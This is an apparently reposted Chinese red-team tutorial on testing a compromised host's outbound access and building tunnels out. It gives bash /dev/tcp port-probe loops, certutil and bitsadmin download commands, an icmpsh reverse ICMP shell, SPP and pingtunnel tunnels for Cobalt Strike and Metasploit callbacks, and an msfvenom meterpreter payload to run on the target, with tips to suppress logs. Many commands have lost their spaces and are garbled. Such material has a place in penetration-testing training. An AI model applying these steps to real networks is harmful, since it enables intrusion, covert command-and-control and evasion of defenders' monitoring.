出網探測
出網探測就是要探測出網協議,出站ip和出站端口。查看是否禁止了出站ip或者禁止了出站端口或者禁止了出站協議。
目標禁止出站ip
如果目標主機設置了嚴格的策略,防火墻只允許目標內網機器主動連接公網指定的ip。這樣的話,沒法反彈shell。(因為白名單ip沒有辦法拿到權限)。
禁止出站端口
Linux系統使用Linux系統自帶命令探測出網端口。( 探測目標機器可以訪問baidu.com對應ip的端口)
foriin{440..449};dotimeout0.5bash-c"echo>/dev/tcp/baidu.com/$i"&&echo"$i***********************open************************"||echo"$iclosed";done
webshell不好回顯結果,將結果寫入文件中
foriin{440..449};dotimeout0.5bash-c"echo>/dev/tcp/baidu.com/$i"&&echo"$i************************open************************"||echo"$iclosed";done>>result.txt
探測常見端口
foriin{21,22,23,25,53,80,88,110,137,138,139,123,143,389,443,445,161,1521,3306,3389,6379,7001,7002,8000,8001,8080,8090,9000,9090,11211};dotimeout0.5bash-c"echo>/dev/tcp/baidu.com/$i"&&echo"$i************************open************************"||echo"$iclosed";done
foriin{21,22,23,25,53,80,88,110,137,138,139,123,143,389,443,445,161,1521,3306,3389,6379,7001,7002,8000,8001,8080,8090,9000,9090,11211};dotimeout0.5bash-c"echo>/dev/tcp/baidu.com/$i"&&echo"$i************************open************************"||echo"$iclosed";done>>result.txt
攻擊端的端口請求記錄
從目標發起的端口訪問請求,攻擊端必須得配合記錄,否則即便找到有效的出站端口,我們也無法獲悉。思路一,單個逐次監聽端口。對于少量端口的探測,攻擊端很容易記錄。比如,要驗證 windows 目標的 8088 端口是否為出站端口,先在攻擊端用 nc -n -v -lp 8088 監聽 8088,指定 -v 選項觀察實時訪問記錄,再在目標上用 telnet 192.168.56.8 8088 連接攻擊端的 8088 端口,最后在攻擊端查看端口訪問記錄,若有則該端口是有效出站端口,若無則重復以上步驟繼續驗證其他端口。
二,批量捆綁監聽端口。試想一下,如果能夠把攻擊端的多個端口流量轉發至單個匯聚端口,就只需監聽單個匯聚端口,目標上發起多個端口探測,只要在攻擊端轉發的多個端口的范圍內,那么,一旦找到有效出站端口,攻擊端的匯聚端口一定有訪問記錄。說到端口轉發,系統自帶的 ssh、iptables,三方的 frp、nps,這些工具都能高效實現,于是,我從這四個工具中找尋具備端口捆綁能力的那位 攻擊端這邊需要有?標機訪問的記錄,才能更好的判斷?標機器是否訪問了我們。只要?標機器訪問到 了我們VPS的任意?個端?,我們這邊都能有記錄。//將所有端?的流量都綁定到34444端?
iptables-APREROUTING-tnat-ptcp--dport1:65535-jREDIRECT--to-port34444
//查看nat表的規則
iptables-tnat-nvL
//清除nat表所有規則
iptables-tnat-F
//備份iptables規則
iptables-save>/tmp/firewall.rules
//恢復iptables規則
iptables-restore/tmp/firewall.rules
配置防?墻規則,禁?訪問遠程機器的1-34566和34566-65535端?,也就是說只允許訪問34567端?然后我們這邊監聽34444端?,在?標機器端?探測
禁止出站協議
對于禁止出站協議的情況,需要探測目標機器允許哪些協議出網。
探測ICMP協議服務端
監聽ICMP流量:
tcpdumpicmp
客戶端ping VPS地址,查看服務端能否收到請求VPS監聽,然后ping我們vps查看能否收到監聽來判斷ICMP 協議是否出?。也可以直接ping?個地址,看是否 有ttl值。
探測DNS協議
Windows:
nslookup、ping
Linux:
nslookup、dig、ping
通過判斷能否將域名解析為ip,判斷DNS協議是否出?。也可以將域名換成dnslog的域名,再看dnslog能否收到請求。
探測HTTP協議
Linux:可以使用curl命令
curlhttp://192.168.10.13
Windows系統可以使用如下的命令
certutil-urlcache-split-fhttp://www.baidu.com bitsadmin/transfertesthttp://192.168.10.13/1c:1 powershelliwr-Urihttp://www.baidu.com-OutFile1-UseBasicParsing
只有ICMP協議出網
目標只有icmp協議能出?的話,則只有考慮使?icmp協議來搭建隧道。利?icmp協議通信的?具有很多icmpsh、reverse-icmp-shell、PingTunnel、IcmpTunnel都可以。常?的ping命令就是利?的ICMP協議。
icmpsh(2016+kali2017)
icmpsh 是一個簡單的反向 ICMP shell,帶有一個 win32 從站和一個 C、Perl 或 Python 中的兼容主站。與其他類似的開源工具相比,它的主要優勢在于它不需要管理權限即可在目標機器上運行。使用ICMP進行命令控制(Icmpsh)適?場景:?標機器是Windows服務器 Linux服務器執行
#關閉icmp回復,如果要開啟icmp回復,該值設置為0 sysctl-wnet.ipv4.icmp_echo_ignore_all=1 #運?,第?個IP是VPS的eth0?卡IP(vps上ifconfig可以得到),第?個IP是?標機器出?的公?IP python2icmpsh_m.py192.168.10.8192.168.10.7
目標機器的操作:
icmpsh.exe-t192.168.10.8
可以看到已經反彈出一個shell
ICMP上線CS
有如下場景,我們拿到了內?的機器權限。但是機器對外均只有icmp協議出網,我們現在可以利?icmp封裝tcp協議,讓其上線cs。
使用SPP
平常演練常用的一些隧道工具像frp,nps在目標出網的情況下還是比較好用的。但是一旦遇到一些比較惡劣的環境,比如只有icmp可以出網的情況,那就需要使用其他的工具像pingtunnel,ptunnel等。SPP三個特點:、 支持icmp、kcp、quic 支持雙向的代理 可以自由進行內部外協議的組合
功能:支持的協議:tcp、udp、rudp(可靠udp)、ricmp(可靠icmp)、rhttp(可靠http)、kcp、quic 支持的類型:正向代理、反向代理、socks5正向代理、socks5反向代理 協議和類型可以自由組合 外部代理協議和內部轉發協議可以自由組合 支持shadowsock/s插件,spp-shadowsock/s-plugin,spp-shadowsock/s-plugin-android cs服務器端
./spp-typeserver-protoricmp-listen0.0.0.0
客戶端
spp-name"test"-typeproxy_client-server140.143.167.58-fromaddr:8082-toaddr:8081-proxyprototcp-protoricmp
pingtunnel上線MSF&CS
1、pingtunnel下載鏈接
https://github.com/esrrhs/pingtunnel/releases
注意,在客戶端中運行一定要加noprint nolog兩個參數,否則會生成大量的日志文件;ICMP為網絡層協議,應用層防火墻無法識別,且請求包當中的數據字段被加密 2 vps服務端開啟
##開啟服務器模式 ./pingtunnel-typeserver
3、客戶端開啟上傳客戶端
##客戶端本地監聽9999端口,將監聽到的連接通過icmpserver發送到Linsten_ip:7777端口 pingtunnel.exe-typeclient-l127.0.0.1:9999-sicmpserver_ip-t82.157.64.237:7778-tcp1-noprint1-nolog1
4、MSF上線
msfvenom-pwindows/x64/meterpreter/reverse_tcpLHOST=127.0.0.1LPORT=9999-fexe-oAAA.exe
5、cs上線 建立監聽127.0.0.1:9999和192.168.3.76:7777 對127的監聽生成木馬AAA.exe,傳到靶機運行
pingtunnel.exe-typeclient-l127.0.0.1:9999-s192.168.3.76-t192.168.3.76:7777-tcp1-noprint1-nolog1
審核編輯:湯梓紅
-
Linux
+關注
關注
87文章
11292瀏覽量
209333 -
WINDOWS
+關注
關注
3文章
3541瀏覽量
88626 -
端口
+關注
關注
4文章
963瀏覽量
32052
原文標題:隧道與端口轉發
文章出處:【微信號:Tide安全團隊,微信公眾號:Tide安全團隊】歡迎添加關注!文章轉載請注明出處。
發布評論請先 登錄
相關推薦
評論